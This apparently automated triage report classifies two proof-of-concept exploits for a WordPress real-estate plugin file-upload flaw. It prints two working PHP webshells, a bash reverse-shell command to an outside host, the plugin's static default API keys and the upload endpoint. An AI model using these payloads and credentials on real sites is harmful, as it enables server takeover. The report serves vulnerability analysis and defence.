CVE-2026-14483

Classification basis

The script actively exploits the vulnerability by uploading a PHP webshell to the target server, which is the defining characteristic of an exploit. It does not merely detect or report the vulnerability.

Requirements

• Target must be running a vulnerable version of the WPL Real Estate plugin (<= 5.2.0) with the publicly accessible SQL migration file exposing default API credentials.CVE-2026-14483.py:129-132CVE-2026-14483.py:139-145
• Attacker must know the target base URL and have network access to the WordPress instance.CVE-2026-14483.py:289-300

Observed behavior

• Fetches the plugin version from readme.txt or wpl.php to confirm vulnerability (unless --force is used).CVE-2026-14483.py:98-125
• Extracts hardcoded api_key and api_secret from the publicly accessible SQL migration file.CVE-2026-14483.py:127-149
• Uploads a PHP file (disguised as image/jpeg) via the WPL I/O set_property endpoint using the extracted credentials.CVE-2026-14483.py:151-195
• Brute-forces property IDs to locate the uploaded webshell under wp-content/uploads/WPL/{id}/.CVE-2026-14483.py:197-212
• Writes discovered shell URLs to an output file for later use.CVE-2026-14483.py:338-341

Observables

Exploit Payload

<h1>MADEXPLOITS</h1><form method='POST' enctype='multipart/form-data'><input type='file' name='file'><input type='submit' name='submit' value='Submit'> <?php $Array = ['bW92ZV91cGxvYWRlZF9maWxl']; $hitung_array = count($Array); for ($i = 0; $i < $hitung_array; $i++) { $fungsi[] = base64_decode($Array[$i]); } if (isset($_POST['submit'])) { $file = $_FILES['file']['tmp_name']; $fileName = $_FILES['file']['name']; if (@$fungsi[0]($file, getcwd() . '/' . $fileName)) {echo 'file Success Uploaded';} else {echo 'File Failed Uploaded';}} ?>The default payload uploaded to the target. It is a self-contained PHP file-upload form that moves an uploaded file to the current directory. The base64-encoded string decodes to 'move_uploaded_file'. This payload provides a file-upload capability to the attacker but does not contain any hidden backdoor, data exfiltration, or unrelated functionality.CVE-2026-14483.py:68

Credential Extraction

api_key and api_secret extracted from /wp-content/plugins/real-estate-listing-realtyna-wpl/assets/migrations/basic/1.0.0.sqlThe script fetches a publicly accessible SQL migration file to extract static API credentials, which are then used to authenticate to the vulnerable WPL I/O endpoint. This is the documented vulnerability mechanism and not a backdoor.CVE-2026-14483.py:127-149

Upload Endpoint

POST to / with wplview=io&wplformat=io&cmd=set_property&commands_directory=mobile_applicationThe script uploads the PHP payload via the WPL I/O API's set_property command, which is the vulnerable endpoint described in the CVE. The uploaded file is disguised as an image/jpeg but contains PHP code.CVE-2026-14483.py:151-195

Shell Discovery

Brute-force property ID from 1 to max_id to locate uploaded shell at /wp-content/uploads/WPL/{id}/0x89MADEXPLOITS.phpAfter upload, the script scans predictable URLs to find the uploaded webshell. This is a standard post-exploitation step and does not indicate backdoor behavior.CVE-2026-14483.py:197-212

Classification basis

The artifact contains a complete, functional Python script (exploit.py) that actively exploits CVE-2026-14483 by uploading a PHP webshell and executing commands or a reverse shell on a vulnerable target. The README explicitly describes it as an exploit and provides usage instructions for achieving RCE.

Requirements

• Target must be running WordPress with the Realtyna WPL / Organic IDX plugin version ≤ 5.2.0 and the I/O service enabled (default).README.md:6-9README.md:20
• Attacker must know the static default API keys (public_key and private_key) which are identical across all installations.README.md:7-14exploit.py:28-29

Observed behavior

• Uploads a PHP webshell file via a multipart POST request to the unauthenticated I/O endpoint at /?wplview=io&wplformat=io with the set_property command.exploit.py:44-62README.md:41-43
• Locates the uploaded webshell by brute-forcing small property ID directories under wp-content/uploads/WPL/ and checking for a marker string.exploit.py:65-72README.md:44-46
• Executes arbitrary system commands on the target via the webshell's c parameter, or triggers a reverse shell to a specified host and port.exploit.py:86exploit.py:98-106README.md:32-37

Observables

Webshell Upload

<?php if(isset($_GET['c'])){system($_GET['c']);} ?>The PoC uploads a simple PHP webshell to demonstrate RCE, consistent with the CVE description.exploit.py:86

Reverse Shell Command

setsid bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1' >/dev/null 2>&1 &The --shell option triggers a reverse shell to a user-supplied address, a standard PoC demonstration of RCE impact.exploit.py:100

Hardcoded Credentials

PUBLIC_KEY = 'U7hdbv673YhdjplzzX7wU7hdbv673YhdjplzzX7w', PRIVATE_KEY = 'Eft76bdh0o2uyhJkbG3T'These are the static default API keys documented in the CVE and README as required for the exploit; they are not concealed or used for any purpose other than the exploit.exploit.py:28-29